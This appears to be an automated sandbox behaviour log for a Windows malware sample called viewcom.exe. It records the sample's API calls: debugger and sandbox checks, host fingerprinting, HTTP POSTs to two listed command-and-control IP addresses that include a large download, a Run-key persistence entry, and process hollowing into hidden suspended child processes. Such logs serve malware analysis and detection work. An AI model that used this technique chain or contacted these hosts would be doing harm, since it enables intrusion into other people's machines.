Fn
|
|
Module | Get Address | function = RemoveVectoredExceptionHandler, ordinal = 0, address_out = 0x12fd6c | 1 |
Fn
|
|
Module | Load | module_name = ntdll.dll, base_address = 0x775c0000 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\ntdll.dll, function = cos, address_out = 0x77607400 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\ntdll.dll, function = sin, address_out = 0x775f41c0 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\ntdll.dll, function = strchr, address_out = 0x77607690 | 1 |
Fn
|
|
Module | Load | module_name = KERNEL32.dll, base_address = 0x76350000 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = LoadLibraryA, address_out = 0x763a395c | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = lstrcmpA, address_out = 0x76388c59 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = CreateFileA, address_out = 0x7639cee8 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = CloseHandle, address_out = 0x7639ca7c | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = GetModuleHandleA, address_out = 0x7639cf41 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = GetModuleFileNameA, address_out = 0x763a33f6 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = GetComputerNameA, address_out = 0x76386ba9 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = GetComputerNameExA, address_out = 0x763df41f | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = GetCommandLineA, address_out = 0x763a98ff | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = FreeConsole, address_out = 0x763fbfde | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = VirtualAlloc, address_out = 0x763a2fb6 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = IsDebuggerPresent, address_out = 0x76393ea8 | 1 |
Fn
|
|
Module | Load | module_name = ADVAPI32.dll, base_address = 0x76030000 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\advapi32.dll, function = GetUserNameA, address_out = 0x7605a4b4 | 1 |
Fn
|
|
Module | Load | module_name = SHLWAPI.dll, base_address = 0x760e0000 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\shlwapi.dll, function = StrStrIA, address_out = 0x760ed250 | 1 |
Fn
|
|
Debug | Check for Presence | c:\users\atveydl98z\appdata\local\microsoft\windows\viewcom.exe | 249 |
Fn
|
|
Module | Load | module_name = winhttp.dll, base_address = 0x6f600000 | 1 |
Fn
|
|
Module | Load | module_name = urlmon.dll, base_address = 0x75ce0000 | 1 |
Fn
|
|
Module | Load | module_name = wininet.dll, base_address = 0x771e0000 | 1 |
Fn
|
|
Module | Load | module_name = winhttp.dll, base_address = 0x6f600000 | 1 |
Fn
|
|
Module | Load | module_name = urlmon.dll, base_address = 0x75ce0000 | 1 |
Fn
|
|
Module | Load | module_name = wininet.dll, base_address = 0x771e0000 | 1 |
Fn
|
|
Module | Load | module_name = winhttp.dll, base_address = 0x6f600000 | 1 |
Fn
|
|
Module | Load | module_name = urlmon.dll, base_address = 0x75ce0000 | 1 |
Fn
|
|
Module | Load | module_name = wininet.dll, base_address = 0x771e0000 | 1 |
Fn
|
|
Module | Load | module_name = winhttp.dll, base_address = 0x6f600000 | 1 |
Fn
|
|
Module | Load | module_name = urlmon.dll, base_address = 0x75ce0000 | 1 |
Fn
|
|
Module | Load | module_name = wininet.dll, base_address = 0x771e0000 | 1 |
Fn
|
|
Module | Load | module_name = winhttp.dll, base_address = 0x6f600000 | 1 |
Fn
|
|
Module | Load | module_name = urlmon.dll, base_address = 0x75ce0000 | 1 |
Fn
|
|
Module | Load | module_name = wininet.dll, base_address = 0x771e0000 | 1 |
Fn
|
|
Module | Load | module_name = winhttp.dll, base_address = 0x6f600000 | 1 |
Fn
|
|
Module | Load | module_name = urlmon.dll, base_address = 0x75ce0000 | 1 |
Fn
|
|
Module | Load | module_name = wininet.dll, base_address = 0x771e0000 | 1 |
Fn
|
|
System | Get Computer Name | result_out = ZJEWV7F | 1 |
Fn
|
|
System | Get Computer Name | result_out = ZjEwV7f, type = ComputerNameDnsHostname | 1 |
Fn
|
|
File | Create | filename = C:\email.doc, desired_access = GENERIC_READ | 1 |
Fn
|
|
File | Create | filename = C:\a\foobar.bmp, desired_access = GENERIC_READ | 1 |
Fn
|
|
Module | Get Handle | module_name = c:\users\atveyd~1\appdata\local\temp\38763.exe, base_address = 0x400000 | 1 |
Fn
|
|
Module | Get Filename | module_name = c:\users\atveyd~1\appdata\local\temp\38763.exe, process_name = c:\users\atveydl98z\appdata\local\microsoft\windows\viewcom.exe, file_name_orig = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.exe, size = 259 | 1 |
Fn
|
|
Debug | Check for Presence | c:\users\atveydl98z\appdata\local\microsoft\windows\viewcom.exe | 249 |
Fn
|
|
Module | Load | module_name = winhttp.dll, base_address = 0x6f600000 | 1 |
Fn
|
|
Module | Load | module_name = urlmon.dll, base_address = 0x75ce0000 | 1 |
Fn
|
|
Module | Load | module_name = wininet.dll, base_address = 0x771e0000 | 1 |
Fn
|
|
Module | Load | module_name = KERNEL32.dll, base_address = 0x76350000 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = WTSGetActiveConsoleSessionId, address_out = 0x7638480b | 1 |
Fn
|
|
Module | Get Filename | process_name = c:\users\atveydl98z\appdata\local\microsoft\windows\viewcom.exe, file_name_orig = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.exe, size = 260 | 1 |
Fn
|
|
Mutex | Create | mutex_name = M68B1B0D0 | 1 |
Fn
|
|
Module | Load | module_name = advapi32.dll, base_address = 0x76030000 | 1 |
Fn
|
|
Module | Load | module_name = ole32.dll, base_address = 0x77460000 | 1 |
Fn
|
|
Module | Load | module_name = shell32.dll, base_address = 0x764f0000 | 1 |
Fn
|
|
Module | Load | module_name = crypt32.dll, base_address = 0x757b0000 | 1 |
Fn
|
|
Module | Load | module_name = urlmon.dll, base_address = 0x75ce0000 | 1 |
Fn
|
|
Module | Load | module_name = userenv.dll, base_address = 0x74dc0000 | 1 |
Fn
|
|
Module | Load | module_name = wininet.dll, base_address = 0x771e0000 | 1 |
Fn
|
|
Module | Load | module_name = wtsapi32.dll, base_address = 0x741a0000 | 1 |
Fn
|
|
System | Get Info | type = Windows Directory, result_out = C:\Windows | 1 |
Fn
|
|
Module | Get Filename | process_name = c:\users\atveydl98z\appdata\local\microsoft\windows\viewcom.exe, file_name_orig = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.exe, size = 260 | 1 |
Fn
|
|
Service | Open Manager | database_name = SERVICES_ACTIVE_DATABASE | 1 |
Fn
|
|
File | Create | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.exe, desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ | 1 |
Fn
|
|
Module | Create Mapping | module_name = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.exe, filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.exe, protection = PAGE_READONLY, maximum_size = 0 | 1 |
Fn
|
|
Module | Map | C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.exe, process_name = c:\users\atveydl98z\appdata\local\microsoft\windows\viewcom.exe, desired_access = FILE_MAP_READ | 1 |
Fn
|
|
File | Get Info | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.exe, type = size | 1 |
Fn
|
|
Module | Unmap | process_name = c:\users\atveydl98z\appdata\local\microsoft\windows\viewcom.exe | 1 |
Fn
|
|
System | Get Computer Name | result_out = ZJEWV7F | 1 |
Fn
|
|
Mutex | Create | mutex_name = Global\I40F77A1B | 1 |
Fn
|
|
Mutex | Create | mutex_name = Global\M40F77A1B | 1 |
Fn
|
|
Mutex | Release | mutex_name = Global\I40F77A1B | 1 |
Fn
|
Category | Operation | Information | Success | Count | Logfile |
---|---|---|---|---|---|
Module | Get Filename | process_name = c:\users\atveydl98z\appdata\local\microsoft\windows\viewcom.exe, file_name_orig = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.exe, size = 260 | 1 |
Fn
|
|
System | Get Computer Name | result_out = ZJEWV7F | 1 |
Fn
|
|
File | Create | filename = C:\ProgramData\9F1C.tmp, desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ | 1 |
Fn
|
|
File | Get Info | filename = C:\ProgramData\9F1C.tmp, type = size | 1 |
Fn
|
|
File | Create | filename = C:\ProgramData\9F1B.tmp, desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ | 1 |
Fn
|
|
File | Get Info | filename = C:\ProgramData\9F1B.tmp, type = size | 1 |
Fn
|
|
Module | Create Mapping | module_name = C:\ProgramData\9F1B.tmp, filename = C:\ProgramData\9F1B.tmp, protection = PAGE_READONLY, maximum_size = 0 | 1 |
Fn
|
|
Module | Map | C:\ProgramData\9F1B.tmp, process_name = c:\users\atveydl98z\appdata\local\microsoft\windows\viewcom.exe, desired_access = FILE_MAP_READ | 1 |
Fn
|
|
Module | Unmap | process_name = c:\users\atveydl98z\appdata\local\microsoft\windows\viewcom.exe | 1 |
Fn
|
|
Inet | Open Session | user_agent = Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E), access_type = INTERNET_OPEN_TYPE_PRECONFIG | 1 |
Fn
|
|
Inet | Open Connection | protocol = HTTP, server_name = 185.82.23.28, server_port = 443 | 1 |
Fn
|
|
Inet | Open HTTP Request | http_verb = POST, accept_types = 0, flags = INTERNET_FLAG_PRAGMA_NOCACHE, INTERNET_FLAG_NO_UI, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP, INTERNET_FLAG_NO_AUTH, INTERNET_FLAG_NO_COOKIES, INTERNET_FLAG_KEEP_CONNECTION, INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD | 1 |
Fn
|
|
Inet | Send HTTP Request | headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = 185.82.23.28 | 1 |
Fn
Data
|
|
Inet | Query HTTP Info | flags = HTTP_QUERY_CONTENT_TYPE, HTTP_QUERY_CONTENT_TRANSFER_ENCODING, HTTP_QUERY_LINK, HTTP_QUERY_FLAG_NUMBER, size_out = 4 | 1 |
Fn
Data
|
|
Inet | Query HTTP Info | flags = HTTP_QUERY_CONTENT_TYPE, HTTP_QUERY_CONTENT_DESCRIPTION, HTTP_QUERY_FLAG_NUMBER, size_out = 4 | 1 |
Fn
Data
|
|
Inet | Read Response | size = 148, size_out = 148 | 1 |
Fn
Data
|
|
Inet | Read Response | size = 0, size_out = 0 | 1 |
Fn
|
|
Inet | Close Session | 1 |
Fn
|
||
Inet | Close Session | 1 |
Fn
|
||
Inet | Close Session | 1 |
Fn
|
||
File | Create | filename = C:\ProgramData\9F2D.tmp, desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ | 1 |
Fn
|
Category | Operation | Information | Success | Count | Logfile |
---|---|---|---|---|---|
Module | Get Filename | process_name = c:\users\atveydl98z\appdata\local\microsoft\windows\viewcom.exe, file_name_orig = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.exe, size = 260 | 1 |
Fn
|
|
System | Get Info | type = Operating System | 1 |
Fn
|
|
System | Get Info | type = Hardware Information | 1 |
Fn
|
|
Inet | Open Session | user_agent = Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E), access_type = INTERNET_OPEN_TYPE_PRECONFIG | 1 |
Fn
|
|
Inet | Open Connection | protocol = HTTP, server_name = 65.99.230.27, server_port = 443 | 1 |
Fn
|
|
Inet | Open HTTP Request | http_verb = POST, accept_types = 0, flags = INTERNET_FLAG_PRAGMA_NOCACHE, INTERNET_FLAG_NO_UI, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP, INTERNET_FLAG_NO_AUTH, INTERNET_FLAG_NO_COOKIES, INTERNET_FLAG_KEEP_CONNECTION, INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD | 1 |
Fn
|
|
Inet | Send HTTP Request | headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = 65.99.230.27 | 1 |
Fn
Data
|
|
Inet | Query HTTP Info | flags = HTTP_QUERY_CONTENT_TYPE, HTTP_QUERY_CONTENT_TRANSFER_ENCODING, HTTP_QUERY_LINK, HTTP_QUERY_FLAG_NUMBER, size_out = 4 | 1 |
Fn
Data
|
|
Inet | Query HTTP Info | flags = HTTP_QUERY_CONTENT_TYPE, HTTP_QUERY_CONTENT_DESCRIPTION, HTTP_QUERY_FLAG_NUMBER, size_out = 4 | 1 |
Fn
Data
|
|
Inet | Read Response | size = 434980, size_out = 434980 | 1 |
Fn
Data
|
|
Inet | Read Response | size = 0, size_out = 0 | 1 |
Fn
|
|
Inet | Close Session | 1 |
Fn
|
||
Inet | Close Session | 1 |
Fn
|
||
Inet | Close Session | 1 |
Fn
|
||
Registry | Create Key | reg_name = HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run | 1 |
Fn
|
|
Registry | Write Value | reg_name = HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run, value_name = viewcom, data = "C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.exe", size = 132, type = REG_SZ | 1 |
Fn
|
|
Inet | Open Session | user_agent = Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E), access_type = INTERNET_OPEN_TYPE_PRECONFIG | 1 |
Fn
|
|
Inet | Open Connection | protocol = HTTP, server_name = 65.99.230.27, server_port = 443 | 1 |
Fn
|
|
Inet | Open HTTP Request | http_verb = POST, accept_types = 0, flags = INTERNET_FLAG_PRAGMA_NOCACHE, INTERNET_FLAG_NO_UI, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP, INTERNET_FLAG_NO_AUTH, INTERNET_FLAG_NO_COOKIES, INTERNET_FLAG_KEEP_CONNECTION, INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD | 1 |
Fn
|
|
Inet | Send HTTP Request | headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = 65.99.230.27 | 1 |
Fn
Data
|
|
Inet | Query HTTP Info | flags = HTTP_QUERY_CONTENT_TYPE, HTTP_QUERY_CONTENT_TRANSFER_ENCODING, HTTP_QUERY_LINK, HTTP_QUERY_FLAG_NUMBER, size_out = 4 | 1 |
Fn
Data
|
|
Inet | Query HTTP Info | flags = HTTP_QUERY_CONTENT_TYPE, HTTP_QUERY_CONTENT_DESCRIPTION, HTTP_QUERY_FLAG_NUMBER, size_out = 4 | 1 |
Fn
Data
|
|
Inet | Read Response | size = 148, size_out = 148 | 1 |
Fn
Data
|
|
Inet | Read Response | size = 0, size_out = 0 | 1 |
Fn
|
|
Inet | Close Session | 1 |
Fn
|
||
Inet | Close Session | 1 |
Fn
|
||
Inet | Close Session | 1 |
Fn
|
||
Registry | Create Key | reg_name = HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run | 1 |
Fn
|
|
Registry | Write Value | reg_name = HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run, value_name = viewcom, data = "C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.exe", size = 132, type = REG_SZ | 1 |
Fn
|
|
Module | Get Filename | process_name = c:\users\atveydl98z\appdata\local\microsoft\windows\viewcom.exe, file_name_orig = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.exe, size = 260 | 1 |
Fn
|
|
Process | Create | process_name = "C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.exe" "C:\ProgramData\9F2D.tmp", os_pid = 0xc80, creation_flags = CREATE_SUSPENDED, show_window = SW_HIDE | 1 |
Fn
|
|
Memory | Get Info | "C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.exe" "C:\ProgramData\9F2D.tmp", address = 0x400000, allocation_type = MEM_RESET_UNDO, protection_out = PAGE_READONLY, size_out = 4096 | 1 |
Fn
|
|
Memory | Protect | process_name = "C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.exe" "C:\ProgramData\9F2D.tmp", address = 0x400000, protection = PAGE_EXECUTE_READWRITE, size = 102400 | 1 |
Fn
|
|
Module | Unmap | process_name = "C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.exe" "C:\ProgramData\9F2D.tmp" | 1 |
Fn
|
|
Memory | Allocate | process_name = "C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.exe" "C:\ProgramData\9F2D.tmp", address = 0x400000, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 102400 | 1 |
Fn
|
|
Thread | Get Context | process_name = c:\users\atveydl98z\appdata\local\microsoft\windows\viewcom.exe, os_tid = 0xbb0 | 1 |
Fn
|
|
Memory | Write | process_name = "C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.exe" "C:\ProgramData\9F2D.tmp", address = 0x400000, size = 102400 | 1 |
Fn
Data
|
|
Memory | Write | process_name = "C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.exe" "C:\ProgramData\9F2D.tmp", address = 0x7ffda008, size = 4 | 1 |
Fn
Data
|
|
Thread | Set Context | process_name = c:\users\atveydl98z\appdata\local\microsoft\windows\viewcom.exe, os_tid = 0xbb0 | 1 |
Fn
|
|
Thread | Resume | process_name = c:\users\atveydl98z\appdata\local\microsoft\windows\viewcom.exe, os_tid = 0xbb0 | 1 |
Fn
|
Category | Operation | Information | Success | Count | Logfile |
---|---|---|---|---|---|
Module | Get Filename | process_name = c:\users\atveydl98z\appdata\local\microsoft\windows\viewcom.exe, file_name_orig = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.exe, size = 260 | 1 |
Fn
|
|
Process | Create | process_name = "C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.exe" /scomma "C:\ProgramData\9F1B.tmp", os_pid = 0xc70, creation_flags = CREATE_SUSPENDED, show_window = SW_HIDE | 1 |
Fn
|
|
Memory | Get Info | "C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.exe" /scomma "C:\ProgramData\9F1B.tmp", address = 0x400000, allocation_type = MEM_RESET_UNDO, protection_out = PAGE_READONLY, size_out = 4096 | 1 |
Fn
|
|
Memory | Protect | process_name = "C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.exe" /scomma "C:\ProgramData\9F1B.tmp", address = 0x400000, protection = PAGE_EXECUTE_READWRITE, size = 114688 | 1 |
Fn
|
|
Module | Unmap | process_name = "C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.exe" /scomma "C:\ProgramData\9F1B.tmp" | 1 |
Fn
|
|
Memory | Allocate | process_name = "C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.exe" /scomma "C:\ProgramData\9F1B.tmp", address = 0x400000, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 114688 | 1 |
Fn
|
|
Thread | Get Context | process_name = c:\users\atveydl98z\appdata\local\microsoft\windows\viewcom.exe, os_tid = 0xc48 | 1 |
Fn
|
|
Memory | Write | process_name = "C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.exe" /scomma "C:\ProgramData\9F1B.tmp", address = 0x400000, size = 114688 | 1 |
Fn
Data
|
|
Memory | Write | process_name = "C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.exe" /scomma "C:\ProgramData\9F1B.tmp", address = 0x7ffdd008, size = 4 | 1 |
Fn
Data
|
|
Thread | Set Context | process_name = c:\users\atveydl98z\appdata\local\microsoft\windows\viewcom.exe, os_tid = 0xc48 | 1 |
Fn
|
|
Thread | Resume | process_name = c:\users\atveydl98z\appdata\local\microsoft\windows\viewcom.exe, os_tid = 0xc48 | 1 |
Fn
|
Category | Operation | Information | Success | Count | Logfile |
---|---|---|---|---|---|
Module | Get Filename | process_name = c:\users\atveydl98z\appdata\local\microsoft\windows\viewcom.exe, file_name_orig = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.exe, size = 260 | 1 |
Fn
|
|
Process | Create | process_name = "C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.exe" /scomma "C:\ProgramData\9F1C.tmp", os_pid = 0xc78, creation_flags = CREATE_SUSPENDED, show_window = SW_HIDE | 1 |
Fn
|
|
Memory | Get Info | "C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.exe" /scomma "C:\ProgramData\9F1C.tmp", address = 0x400000, allocation_type = MEM_RESET_UNDO, protection_out = PAGE_READONLY, size_out = 4096 | 1 |
Fn
|
|
Memory | Protect | process_name = "C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.exe" /scomma "C:\ProgramData\9F1C.tmp", address = 0x400000, protection = PAGE_EXECUTE_READWRITE, size = 372736 | 1 |
Fn
|
|
Module | Unmap | process_name = "C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.exe" /scomma "C:\ProgramData\9F1C.tmp" | 1 |
Fn
|
|
Memory | Allocate | process_name = "C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.exe" /scomma "C:\ProgramData\9F1C.tmp", address = 0x400000, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 372736 | 1 |
Fn
|
|
Thread | Get Context | process_name = c:\users\atveydl98z\appdata\local\microsoft\windows\viewcom.exe, os_tid = 0xc58 | 1 |
Fn
|
|
Memory | Write | process_name = "C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.exe" /scomma "C:\ProgramData\9F1C.tmp", address = 0x400000, size = 372736 | 1 |
Fn
Data
|
|
Memory | Write | process_name = "C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.exe" /scomma "C:\ProgramData\9F1C.tmp", address = 0x7ffd8008, size = 4 | 1 |
Fn
Data
|
|
Thread | Set Context | process_name = c:\users\atveydl98z\appdata\local\microsoft\windows\viewcom.exe, os_tid = 0xc58 | 1 |
Fn
|
|
Thread | Resume | process_name = c:\users\atveydl98z\appdata\local\microsoft\windows\viewcom.exe, os_tid = 0xc58 | 1 |
Fn
|
Category | Operation | Information | Success | Count | Logfile |
---|---|---|---|---|---|
Module | Load | module_name = advapi32.dll, base_address = 0x76030000 | 1 |
Fn
|
|
Module | Load | module_name = crypt32.dll, base_address = 0x757b0000 | 1 |
Fn
|
|
Module | Load | module_name = shell32.dll, base_address = 0x764f0000 | 1 |
Fn
|
|
Module | Load | module_name = urlmon.dll, base_address = 0x75ce0000 | 1 |
Fn
|
|
Module | Load | module_name = userenv.dll, base_address = 0x74dc0000 | 1 |
Fn
|
|
Module | Load | module_name = wininet.dll, base_address = 0x771e0000 | 1 |
Fn
|
|
Module | Load | module_name = wtsapi32.dll, base_address = 0x741a0000 | 1 |
Fn
|
|
File | Create Temp File | filename = C:\ProgramData\9F1B.tmp, path = C:\ProgramData | 1 |
Fn
|
|
File | Delete | filename = C:\ProgramData\9F1B.tmp | 2 |
Fn
|
Category | Operation | Information | Success | Count | Logfile |
---|---|---|---|---|---|
Module | Load | module_name = advapi32.dll, base_address = 0x76030000 | 1 |
Fn
|
|
Module | Load | module_name = crypt32.dll, base_address = 0x757b0000 | 1 |
Fn
|
|
Module | Load | module_name = shell32.dll, base_address = 0x764f0000 | 1 |
Fn
|
|
Module | Load | module_name = urlmon.dll, base_address = 0x75ce0000 | 1 |
Fn
|
|
Module | Load | module_name = userenv.dll, base_address = 0x74dc0000 | 1 |
Fn
|
|
Module | Load | module_name = wininet.dll, base_address = 0x771e0000 | 1 |
Fn
|
|
Module | Load | module_name = wtsapi32.dll, base_address = 0x741a0000 | 1 |
Fn
|
|
File | Create Temp File | filename = C:\ProgramData\9F1C.tmp, path = C:\ProgramData | 1 |
Fn
|
|
File | Delete | filename = C:\ProgramData\9F1C.tmp | 2 |
Fn
|
Category | Operation | Information | Success | Count | Logfile |
---|---|---|---|---|---|
Module | Load | module_name = advapi32.dll, base_address = 0x76030000 | 1 |
Fn
|
|
Module | Load | module_name = crypt32.dll, base_address = 0x757b0000 | 1 |
Fn
|
|
Module | Load | module_name = shell32.dll, base_address = 0x764f0000 | 1 |
Fn
|
|
Module | Load | module_name = urlmon.dll, base_address = 0x75ce0000 | 1 |
Fn
|
|
Module | Load | module_name = userenv.dll, base_address = 0x74dc0000 | 1 |
Fn
|
|
Module | Load | module_name = wininet.dll, base_address = 0x771e0000 | 1 |
Fn
|
|
Module | Load | module_name = wtsapi32.dll, base_address = 0x741a0000 | 1 |
Fn
|
|
File | Create Temp File | filename = C:\ProgramData\9F2D.tmp, path = C:\ProgramData | 1 |
Fn
|
|
File | Delete | filename = C:\ProgramData\9F2D.tmp | 1 |
Fn
|
|
File | Delete | filename = C:\ProgramData\9F2D.tmp | 1 |
Fn
|
Category | Operation | Information | Success | Count | Logfile |
---|---|---|---|---|---|
Module | Load | module_name = advapi32.dll, base_address = 0x76030000 | 1 |
Fn
|
|
Module | Load | module_name = mpr.dll, base_address = 0x70f40000 | 1 |
Fn
|
|
Module | Load | module_name = netapi32.dll, base_address = 0x73eb0000 | 1 |
Fn
|
|
Module | Load | module_name = SAMCLI.DLL, base_address = 0x73800000 | 1 |
Fn
|
|
Module | Load | module_name = userenv.dll, base_address = 0x74dc0000 | 1 |
Fn
|
|
Module | Load | module_name = wtsapi32.dll, base_address = 0x741a0000 | 1 |
Fn
|
Information | Value |
---|---|
ID | #8 |
File Name | c:\users\atveydl98z\appdata\local\microsoft\windows\viewcom.exe |
Command Line | "C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.exe" /scomma "C:\ProgramData\9F1B.tmp" |
Initial Working Directory | C:\Users\ATVeyDl98Z\Desktop\ |
Monitor | Start Time: 00:01:18, Reason: Child Process |
Unmonitor | End Time: 00:02:34, Reason: Terminated by Timeout |
Monitor Duration | 00:01:16 |
Information | Value |
---|---|
PID | 0xc70 |
Parent PID | 0xb98 (c:\users\atveydl98z\appdata\local\microsoft\windows\viewcom.exe) |
Is Created or Modified Executable | |
Integrity Level | Medium |
Username | ZJEWV7F\ATVeyDl98Z |
Groups |
|
Enabled Privileges | SeChangeNotifyPrivilege |
Thread IDs |
0x
C74
0x
CBC
|
Name | Start VA | End VA | Type | Permissions | Monitored | Dump | YARA Match | Actions |
---|---|---|---|---|---|---|---|---|
private_0x0000000000010000 | 0x00010000 | 0x0002ffff | Private Memory | Readable, Writable |
|
|||
pagefile_0x0000000000010000 | 0x00010000 | 0x0001ffff | Pagefile Backed Memory | Readable, Writable |
|
|||
private_0x0000000000020000 | 0x00020000 | 0x00020fff | Private Memory | Readable, Writable |
|
|||
private_0x0000000000030000 | 0x00030000 | 0x0012ffff | Private Memory | Readable, Writable |
|
|||
pagefile_0x0000000000130000 | 0x00130000 | 0x00133fff | Pagefile Backed Memory | Readable |
|
|||
locale.nls | 0x00140000 | 0x001a6fff | Memory Mapped File | Readable |
|
|||
private_0x00000000001b0000 | 0x001b0000 | 0x001b0fff | Private Memory | Readable, Writable |
|
|||
pagefile_0x00000000001c0000 | 0x001c0000 | 0x001c0fff | Pagefile Backed Memory | Readable, Writable |
|
|||
private_0x0000000000240000 | 0x00240000 | 0x0024ffff | Private Memory | Readable, Writable |
|
|||
private_0x0000000000250000 | 0x00250000 | 0x0034ffff | Private Memory | Readable, Writable |
|
|||
private_0x00000000003f0000 | 0x003f0000 | 0x003fffff | Private Memory | Readable, Writable |
|
|||
private_0x0000000000400000 | 0x00400000 | 0x0041bfff | Private Memory | Readable, Writable, Executable |
|
|||
pagefile_0x0000000000420000 | 0x00420000 | 0x004e7fff | Pagefile Backed Memory | Readable |
|
|||
pagefile_0x00000000004f0000 | 0x004f0000 | 0x005f0fff | Pagefile Backed Memory | Readable |
|
|||
pagefile_0x0000000000600000 | 0x00600000 | 0x011fffff | Pagefile Backed Memory | Readable |
|
|||
private_0x0000000001200000 | 0x01200000 | 0x012fffff | Private Memory | Readable, Writable |
|
|||
sortdefault.nls | 0x01300000 | 0x015cefff | Memory Mapped File | Readable |
|
|||
private_0x00000000015d0000 | 0x015d0000 | 0x016cffff | Private Memory | Readable, Writable |
|
|||
